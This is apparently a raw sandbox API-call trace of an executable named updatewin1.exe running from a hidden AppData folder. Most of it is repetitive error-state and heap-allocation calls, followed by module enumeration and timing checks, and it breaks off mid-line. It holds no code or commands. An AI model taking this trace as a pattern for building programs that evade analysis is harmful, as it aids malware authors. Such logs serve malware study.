lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xd0\x9f\xdb\x44\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0052.286] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x43a580, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe")) returned 0x5f [0052.286] GetLastError () returned 0x0 [0052.286] SetLastError (dwErrCode=0x0) [0052.286] GetLastError () returned 0x0 [0052.286] SetLastError (dwErrCode=0x0) [0052.286] GetLastError () returned 0x0 [0052.286] SetLastError (dwErrCode=0x0) [0052.286] GetLastError () returned 0x0 [0052.286] SetLastError (dwErrCode=0x0) [0052.286] GetLastError () returned 0x0 [0052.286] SetLastError (dwErrCode=0x0) [0052.286] GetLastError () returned 0x0 [0052.286] SetLastError (dwErrCode=0x0) [0052.287] GetLastError () returned 0x0 [0052.287] SetLastError (dwErrCode=0x0) [0052.287] GetLastError () returned 0x0 [0052.287] SetLastError (dwErrCode=0x0) [0052.287] GetLastError () returned 0x0 [0052.287] SetLastError (dwErrCode=0x0) [0052.287] GetLastError () returned 0x0 [0052.287] SetLastError (dwErrCode=0x0) [0052.287] GetLastError () returned 0x0 [0052.287] SetLastError (dwErrCode=0x0) [0052.287] GetLastError () returned 0x0 [0052.287] SetLastError (dwErrCode=0x0) [0052.287] GetLastError () returned 0x0 [0052.287] SetLastError (dwErrCode=0x0) [0052.287] GetLastError () returned 0x0 [0052.287] SetLastError (dwErrCode=0x0) [0052.287] GetLastError () returned 0x0 [0052.287] SetLastError (dwErrCode=0x0) [0052.287] GetLastError () returned 0x0 [0052.287] SetLastError (dwErrCode=0x0) [0052.287] GetLastError () returned 0x0 [0052.287] SetLastError (dwErrCode=0x0) [0052.287] GetLastError () returned 0x0 [0052.287] SetLastError (dwErrCode=0x0) [0052.287] GetLastError () returned 0x0 [0052.287] SetLastError (dwErrCode=0x0) [0052.287] GetLastError () returned 0x0 [0052.288] SetLastError (dwErrCode=0x0) [0052.288] GetLastError () returned 0x0 [0052.288] SetLastError (dwErrCode=0x0) [0052.288] GetLastError () returned 0x0 [0052.288] SetLastError (dwErrCode=0x0) [0052.288] GetLastError () returned 0x0 [0052.288] SetLastError (dwErrCode=0x0) [0052.288] GetLastError () returned 0x0 [0052.288] SetLastError (dwErrCode=0x0) [0052.288] GetLastError () returned 0x0 [0052.288] SetLastError (dwErrCode=0x0) [0052.288] GetLastError () returned 0x0 [0052.288] SetLastError (dwErrCode=0x0) [0052.288] GetLastError () returned 0x0 [0052.288] SetLastError (dwErrCode=0x0) [0052.288] GetLastError () returned 0x0 [0052.288] SetLastError (dwErrCode=0x0) [0052.288] GetLastError () returned 0x0 [0052.288] SetLastError (dwErrCode=0x0) [0052.288] GetLastError () returned 0x0 [0052.288] SetLastError (dwErrCode=0x0) [0052.288] GetLastError () returned 0x0 [0052.288] SetLastError (dwErrCode=0x0) [0052.288] GetLastError () returned 0x0 [0052.288] SetLastError (dwErrCode=0x0) [0052.288] GetLastError () returned 0x0 [0052.288] SetLastError (dwErrCode=0x0) [0052.288] GetLastError () returned 0x0 [0052.289] SetLastError (dwErrCode=0x0) [0052.289] GetLastError () returned 0x0 [0052.289] SetLastError (dwErrCode=0x0) [0052.289] GetLastError () returned 0x0 [0052.289] SetLastError (dwErrCode=0x0) [0052.289] GetLastError () returned 0x0 [0052.289] SetLastError (dwErrCode=0x0) [0052.289] GetLastError () returned 0x0 [0052.289] SetLastError (dwErrCode=0x0) [0052.289] GetLastError () returned 0x0 [0052.289] SetLastError (dwErrCode=0x0) [0052.289] GetLastError () returned 0x0 [0052.289] SetLastError (dwErrCode=0x0) [0052.289] GetLastError () returned 0x0 [0052.289] SetLastError (dwErrCode=0x0) [0052.289] GetLastError () returned 0x0 [0052.289] SetLastError (dwErrCode=0x0) [0052.289] GetLastError () returned 0x0 [0052.289] SetLastError (dwErrCode=0x0) [0052.289] GetLastError () returned 0x0 [0052.289] SetLastError (dwErrCode=0x0) [0052.289] GetLastError () returned 0x0 [0052.289] SetLastError (dwErrCode=0x0) [0052.289] GetLastError () returned 0x0 [0052.289] SetLastError (dwErrCode=0x0) [0052.290] GetLastError () returned 0x0 [0052.290] SetLastError (dwErrCode=0x0) [0052.290] GetLastError () returned 0x0 [0052.290] SetLastError (dwErrCode=0x0) [0052.290] GetLastError () returned 0x0 [0052.290] SetLastError (dwErrCode=0x0) [0052.290] GetLastError () returned 0x0 [0052.290] SetLastError (dwErrCode=0x0) [0052.290] GetLastError () returned 0x0 [0052.290] SetLastError (dwErrCode=0x0) [0052.290] GetLastError () returned 0x0 [0052.290] SetLastError (dwErrCode=0x0) [0052.290] GetLastError () returned 0x0 [0052.290] SetLastError (dwErrCode=0x0) [0052.290] GetLastError () returned 0x0 [0052.290] SetLastError (dwErrCode=0x0) [0052.290] GetLastError () returned 0x0 [0052.290] SetLastError (dwErrCode=0x0) [0052.290] GetLastError () returned 0x0 [0052.290] SetLastError (dwErrCode=0x0) [0052.290] GetLastError () returned 0x0 [0052.290] SetLastError (dwErrCode=0x0) [0052.290] GetLastError () returned 0x0 [0052.290] SetLastError (dwErrCode=0x0) [0052.290] GetLastError () returned 0x0 [0052.291] SetLastError (dwErrCode=0x0) [0052.291] GetLastError () returned 0x0 [0052.291] SetLastError (dwErrCode=0x0) [0052.291] GetLastError () returned 0x0 [0052.291] SetLastError (dwErrCode=0x0) [0052.291] GetLastError () returned 0x0 [0052.291] SetLastError (dwErrCode=0x0) [0052.291] GetLastError () returned 0x0 [0052.291] SetLastError (dwErrCode=0x0) [0052.291] GetLastError () returned 0x0 [0052.291] SetLastError (dwErrCode=0x0) [0052.291] GetLastError () returned 0x0 [0052.291] SetLastError (dwErrCode=0x0) [0052.291] GetLastError () returned 0x0 [0052.291] SetLastError (dwErrCode=0x0) [0052.291] GetLastError () returned 0x0 [0052.291] SetLastError (dwErrCode=0x0) [0052.291] GetLastError () returned 0x0 [0052.291] SetLastError (dwErrCode=0x0) [0052.291] GetLastError () returned 0x0 [0052.291] SetLastError (dwErrCode=0x0) [0052.291] GetLastError () returned 0x0 [0052.291] SetLastError (dwErrCode=0x0) [0052.291] GetLastError () returned 0x0 [0052.291] SetLastError (dwErrCode=0x0) [0052.291] GetLastError () returned 0x0 [0052.291] SetLastError (dwErrCode=0x0) [0052.292] GetLastError () returned 0x0 [0052.292] SetLastError (dwErrCode=0x0) [0052.292] GetLastError () returned 0x0 [0052.292] SetLastError (dwErrCode=0x0) [0052.292] GetLastError () returned 0x0 [0052.292] SetLastError (dwErrCode=0x0) [0052.292] GetLastError () returned 0x0 [0052.292] SetLastError (dwErrCode=0x0) [0052.292] GetLastError () returned 0x0 [0052.292] SetLastError (dwErrCode=0x0) [0052.292] GetLastError () returned 0x0 [0052.292] SetLastError (dwErrCode=0x0) [0052.292] GetLastError () returned 0x0 [0052.292] SetLastError (dwErrCode=0x0) [0052.292] GetLastError () returned 0x0 [0052.292] SetLastError (dwErrCode=0x0) [0052.292] GetLastError () returned 0x0 [0052.292] SetLastError (dwErrCode=0x0) [0052.292] GetLastError () returned 0x0 [0052.292] SetLastError (dwErrCode=0x0) [0052.292] GetLastError () returned 0x0 [0052.292] SetLastError (dwErrCode=0x0) [0052.292] GetLastError () returned 0x0 [0052.292] SetLastError (dwErrCode=0x0) [0052.292] GetLastError () returned 0x0 [0052.292] SetLastError (dwErrCode=0x0) [0052.292] GetLastError () returned 0x0 [0052.293] SetLastError (dwErrCode=0x0) [0052.293] GetLastError () returned 0x0 [0052.293] SetLastError (dwErrCode=0x0) [0052.293] GetLastError () returned 0x0 [0052.293] SetLastError (dwErrCode=0x0) [0052.293] GetLastError () returned 0x0 [0052.293] SetLastError (dwErrCode=0x0) [0052.293] GetLastError () returned 0x0 [0052.293] SetLastError (dwErrCode=0x0) [0052.293] GetLastError () returned 0x0 [0052.293] SetLastError (dwErrCode=0x0) [0052.293] GetLastError () returned 0x0 [0052.293] SetLastError (dwErrCode=0x0) [0052.293] GetLastError () returned 0x0 [0052.293] SetLastError (dwErrCode=0x0) [0052.293] GetLastError () returned 0x0 [0052.293] SetLastError (dwErrCode=0x0) [0052.293] GetLastError () returned 0x0 [0052.293] SetLastError (dwErrCode=0x0) [0052.293] GetLastError () returned 0x0 [0052.293] SetLastError (dwErrCode=0x0) [0052.293] GetLastError () returned 0x0 [0052.293] SetLastError (dwErrCode=0x0) [0052.293] GetLastError () returned 0x0 [0052.293] SetLastError (dwErrCode=0x0) [0052.294] GetLastError () returned 0x0 [0052.294] SetLastError (dwErrCode=0x0) [0052.294] GetLastError () returned 0x0 [0052.294] SetLastError (dwErrCode=0x0) [0052.294] GetLastError () returned 0x0 [0052.294] SetLastError (dwErrCode=0x0) [0052.294] GetLastError () returned 0x0 [0052.294] SetLastError (dwErrCode=0x0) [0052.294] GetLastError () returned 0x0 [0052.294] SetLastError (dwErrCode=0x0) [0052.294] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x0, Size=0x74) returned 0x1f81990 [0052.294] GetLastError () returned 0x0 [0052.294] SetLastError (dwErrCode=0x0) [0052.294] GetLastError () returned 0x0 [0052.294] SetLastError (dwErrCode=0x0) [0052.294] GetLastError () returned 0x0 [0052.294] SetLastError (dwErrCode=0x0) [0052.294] GetLastError () returned 0x0 [0052.294] SetLastError (dwErrCode=0x0) [0052.294] GetLastError () returned 0x0 [0052.294] SetLastError (dwErrCode=0x0) [0052.294] GetLastError () returned 0x0 [0052.294] SetLastError (dwErrCode=0x0) [0052.294] GetLastError () returned 0x0 [0052.294] SetLastError (dwErrCode=0x0) [0052.294] GetLastError () returned 0x0 [0052.295] SetLastError (dwErrCode=0x0) [0052.295] GetLastError () returned 0x0 [0052.295] SetLastError (dwErrCode=0x0) [0052.295] GetLastError () returned 0x0 [0052.295] SetLastError (dwErrCode=0x0) [0052.295] GetLastError () returned 0x0 [0052.295] SetLastError (dwErrCode=0x0) [0052.295] GetLastError () returned 0x0 [0052.295] SetLastError (dwErrCode=0x0) [0052.295] GetLastError () returned 0x0 [0052.295] SetLastError (dwErrCode=0x0) [0052.295] GetLastError () returned 0x0 [0052.295] SetLastError (dwErrCode=0x0) [0052.295] GetLastError () returned 0x0 [0052.295] SetLastError (dwErrCode=0x0) [0052.295] GetLastError () returned 0x0 [0052.295] SetLastError (dwErrCode=0x0) [0052.295] GetLastError () returned 0x0 [0052.295] SetLastError (dwErrCode=0x0) [0052.295] GetLastError () returned 0x0 [0052.295] SetLastError (dwErrCode=0x0) [0052.295] GetLastError () returned 0x0 [0052.295] SetLastError (dwErrCode=0x0) [0052.295] GetLastError () returned 0x0 [0052.295] SetLastError (dwErrCode=0x0) [0052.295] GetLastError () returned 0x0 [0052.295] SetLastError (dwErrCode=0x0) [0052.295] GetLastError () returned 0x0 [0052.296] SetLastError (dwErrCode=0x0) [0052.296] GetLastError () returned 0x0 [0052.296] SetLastError (dwErrCode=0x0) [0052.296] GetLastError () returned 0x0 [0052.296] SetLastError (dwErrCode=0x0) [0052.296] GetLastError () returned 0x0 [0052.296] SetLastError (dwErrCode=0x0) [0052.296] GetLastError () returned 0x0 [0052.296] SetLastError (dwErrCode=0x0) [0052.296] GetLastError () returned 0x0 [0052.296] SetLastError (dwErrCode=0x0) [0052.296] GetLastError () returned 0x0 [0052.296] SetLastError (dwErrCode=0x0) [0052.296] GetLastError () returned 0x0 [0052.296] SetLastError (dwErrCode=0x0) [0052.296] GetLastError () returned 0x0 [0052.296] SetLastError (dwErrCode=0x0) [0052.296] GetLastError () returned 0x0 [0052.296] SetLastError (dwErrCode=0x0) [0052.296] GetLastError () returned 0x0 [0052.296] SetLastError (dwErrCode=0x0) [0052.296] GetLastError () returned 0x0 [0052.296] SetLastError (dwErrCode=0x0) [0052.296] GetLastError () returned 0x0 [0052.296] SetLastError (dwErrCode=0x0) [0052.296] GetLastError () returned 0x0 [0052.296] SetLastError (dwErrCode=0x0) [0052.296] GetLastError () returned 0x0 [0052.297] SetLastError (dwErrCode=0x0) [0052.297] GetLastError () returned 0x0 [0052.297] SetLastError (dwErrCode=0x0) [0052.297] GetLastError () returned 0x0 [0052.297] SetLastError (dwErrCode=0x0) [0052.297] GetLastError () returned 0x0 [0052.297] SetLastError (dwErrCode=0x0) [0052.297] GetLastError () returned 0x0 [0052.297] SetLastError (dwErrCode=0x0) [0052.297] GetLastError () returned 0x0 [0052.297] SetLastError (dwErrCode=0x0) [0052.297] GetLastError () returned 0x0 [0052.297] SetLastError (dwErrCode=0x0) [0052.297] GetLastError () returned 0x0 [0052.297] SetLastError (dwErrCode=0x0) [0052.297] GetLastError () returned 0x0 [0052.297] SetLastError (dwErrCode=0x0) [0052.297] GetLastError () returned 0x0 [0052.297] SetLastError (dwErrCode=0x0) [0052.297] GetLastError () returned 0x0 [0052.297] SetLastError (dwErrCode=0x0) [0052.297] GetLastError () returned 0x0 [0052.297] SetLastError (dwErrCode=0x0) [0052.297] GetLastError () returned 0x0 [0052.297] SetLastError (dwErrCode=0x0) [0052.298] GetLastError () returned 0x0 [0052.298] SetLastError (dwErrCode=0x0) [0052.298] GetLastError () returned 0x0 [0052.298] SetLastError (dwErrCode=0x0) [0052.298] GetLastError () returned 0x0 [0052.298] SetLastError (dwErrCode=0x0) [0052.298] GetLastError () returned 0x0 [0052.298] SetLastError (dwErrCode=0x0) [0052.298] GetLastError () returned 0x0 [0052.298] SetLastError (dwErrCode=0x0) [0052.298] GetLastError () returned 0x0 [0052.298] SetLastError (dwErrCode=0x0) [0052.298] GetLastError () returned 0x0 [0052.298] SetLastError (dwErrCode=0x0) [0052.298] GetLastError () returned 0x0 [0052.298] SetLastError (dwErrCode=0x0) [0052.298] GetLastError () returned 0x0 [0052.298] SetLastError (dwErrCode=0x0) [0052.298] GetLastError () returned 0x0 [0052.298] SetLastError (dwErrCode=0x0) [0052.298] GetLastError () returned 0x0 [0052.298] SetLastError (dwErrCode=0x0) [0052.298] GetLastError () returned 0x0 [0052.298] SetLastError (dwErrCode=0x0) [0052.298] GetLastError () returned 0x0 [0052.299] SetLastError (dwErrCode=0x0) [0052.299] GetLastError () returned 0x0 [0052.299] SetLastError (dwErrCode=0x0) [0052.299] GetLastError () returned 0x0 [0052.299] SetLastError (dwErrCode=0x0) [0052.299] GetLastError () returned 0x0 [0052.299] SetLastError (dwErrCode=0x0) [0052.299] GetLastError () returned 0x0 [0052.299] SetLastError (dwErrCode=0x0) [0052.299] GetLastError () returned 0x0 [0052.299] SetLastError (dwErrCode=0x0) [0052.299] GetLastError () returned 0x0 [0052.299] SetLastError (dwErrCode=0x0) [0052.299] GetLastError () returned 0x0 [0052.299] SetLastError (dwErrCode=0x0) [0052.299] GetLastError () returned 0x0 [0052.299] SetLastError (dwErrCode=0x0) [0052.299] GetLastError () returned 0x0 [0052.299] SetLastError (dwErrCode=0x0) [0052.299] GetLastError () returned 0x0 [0052.299] SetLastError (dwErrCode=0x0) [0052.299] GetLastError () returned 0x0 [0052.299] SetLastError (dwErrCode=0x0) [0052.299] GetLastError () returned 0x0 [0052.299] SetLastError (dwErrCode=0x0) [0052.299] GetLastError () returned 0x0 [0052.299] SetLastError (dwErrCode=0x0) [0052.299] GetLastError () returned 0x0 [0052.300] SetLastError (dwErrCode=0x0) [0052.300] GetLastError () returned 0x0 [0052.300] SetLastError (dwErrCode=0x0) [0052.300] GetLastError () returned 0x0 [0052.300] SetLastError (dwErrCode=0x0) [0052.300] GetLastError () returned 0x0 [0052.300] SetLastError (dwErrCode=0x0) [0052.300] GetLastError () returned 0x0 [0052.300] SetLastError (dwErrCode=0x0) [0052.300] GetLastError () returned 0x0 [0052.300] SetLastError (dwErrCode=0x0) [0052.300] GetLastError () returned 0x0 [0052.300] SetLastError (dwErrCode=0x0) [0052.300] GetLastError () returned 0x0 [0052.300] SetLastError (dwErrCode=0x0) [0052.300] GetLastError () returned 0x0 [0052.300] SetLastError (dwErrCode=0x0) [0052.300] GetLastError () returned 0x0 [0052.300] SetLastError (dwErrCode=0x0) [0052.300] GetLastError () returned 0x0 [0052.300] SetLastError (dwErrCode=0x0) [0052.300] GetLastError () returned 0x0 [0052.300] SetLastError (dwErrCode=0x0) [0052.300] GetLastError () returned 0x0 [0052.300] SetLastError (dwErrCode=0x0) [0052.300] GetLastError () returned 0x0 [0052.301] SetLastError (dwErrCode=0x0) [0052.301] GetLastError () returned 0x0 [0052.301] SetLastError (dwErrCode=0x0) [0052.301] GetLastError () returned 0x0 [0052.301] SetLastError (dwErrCode=0x0) [0052.301] GetLastError () returned 0x0 [0052.301] SetLastError (dwErrCode=0x0) [0052.301] GetLastError () returned 0x0 [0052.301] SetLastError (dwErrCode=0x0) [0052.301] GetLastError () returned 0x0 [0052.301] SetLastError (dwErrCode=0x0) [0052.301] GetLastError () returned 0x0 [0052.301] SetLastError (dwErrCode=0x0) [0052.301] GetLastError () returned 0x0 [0052.301] SetLastError (dwErrCode=0x0) [0052.301] GetLastError () returned 0x0 [0052.301] SetLastError (dwErrCode=0x0) [0052.301] GetLastError () returned 0x0 [0052.301] SetLastError (dwErrCode=0x0) [0052.301] GetLastError () returned 0x0 [0052.301] SetLastError (dwErrCode=0x0) [0052.301] GetLastError () returned 0x0 [0052.301] SetLastError (dwErrCode=0x0) [0052.301] GetLastError () returned 0x0 [0052.301] SetLastError (dwErrCode=0x0) [0052.301] GetLastError () returned 0x0 [0052.302] SetLastError (dwErrCode=0x0) [0052.302] GetLastError () returned 0x0 [0052.302] SetLastError (dwErrCode=0x0) [0052.302] GetLastError () returned 0x0 [0052.302] SetLastError (dwErrCode=0x0) [0052.302] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x98) returned 0x1f81a10 [0052.302] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x1f) returned 0x1f81ab0 [0052.302] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x36) returned 0x1f81ad8 [0052.302] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x37) returned 0x1f81b18 [0052.302] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x3c) returned 0x1f81b58 [0052.302] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x31) returned 0x1f81ba0 [0052.302] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x17) returned 0x1f81be0 [0052.302] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x24) returned 0x1f81c00 [0052.302] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x14) returned 0x1f81c30 [0052.302] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0xd) returned 0x1f81c50 [0052.302] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x25) returned 0x1f81c68 [0052.302] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x39) returned 0x1f81c98 [0052.302] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x18) returned 0x1f81ce0 [0052.302] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x17) returned 0x1f81d00 [0052.302] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0xe) returned 0x1f81d20 [0052.302] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x69) returned 0x1f81d38 [0052.302] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x3e) returned 0x1f81db0 [0052.302] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x1b) returned 0x1f81df8 [0052.302] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x1d) returned 0x1f81e20 [0052.302] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x48) returned 0x1f81e48 [0052.302] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x12) returned 0x1f81e98 [0052.302] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x18) returned 0x1f81eb8 [0052.302] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x1b) returned 0x1f81ed8 [0052.302] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x24) returned 0x1f81f00 [0052.302] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x29) returned 0x1f81f30 [0052.302] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x1e) returned 0x1f81f68 [0052.302] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x41) returned 0x1f81f90 [0052.302] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x17) returned 0x1f81fe8 [0052.303] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0xf) returned 0x1f82008 [0052.303] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x16) returned 0x1f82020 [0052.303] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x2a) returned 0x1f82040 [0052.303] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x29) returned 0x1f82078 [0052.303] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x15) returned 0x1f820b0 [0052.303] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x1e) returned 0x1f820d0 [0052.303] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x2a) returned 0x1f820f8 [0052.303] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x12) returned 0x1f82130 [0052.303] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x18) returned 0x1f82150 [0052.303] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x46) returned 0x1f82170 [0052.303] HeapFree (in: hHeap=0x1f80000, dwFlags=0x0, lpMem=0x1f811f8 | out: hHeap=0x1f80000) returned 1 [0052.304] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x800) returned 0x1f821c0 [0052.304] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x80) returned 0x1f811f8 [0052.310] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x404e59) returned 0x0 [0052.311] RtlSizeHeap (HeapHandle=0x1f80000, Flags=0x0, MemoryPointer=0x1f811f8) returned 0x80 [0052.311] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0052.311] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0052.311] GetProcAddress (hModule=0x76c20000, lpProcName="Module32FirstW") returned 0x76c579f9 [0052.311] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x78 [0052.313] Module32FirstW (hSnapshot=0x78, lpme=0x18fac8) returned 0 [0052.313] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18fa24) returned 0 [0052.313] GetTickCount () returned 0x1bf87 [0052.313] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.313] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.313] GetACP () returned 0x4e4 [0052.313] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.313] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.313] GetACP () returned 0x4e4 [0052.313] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: 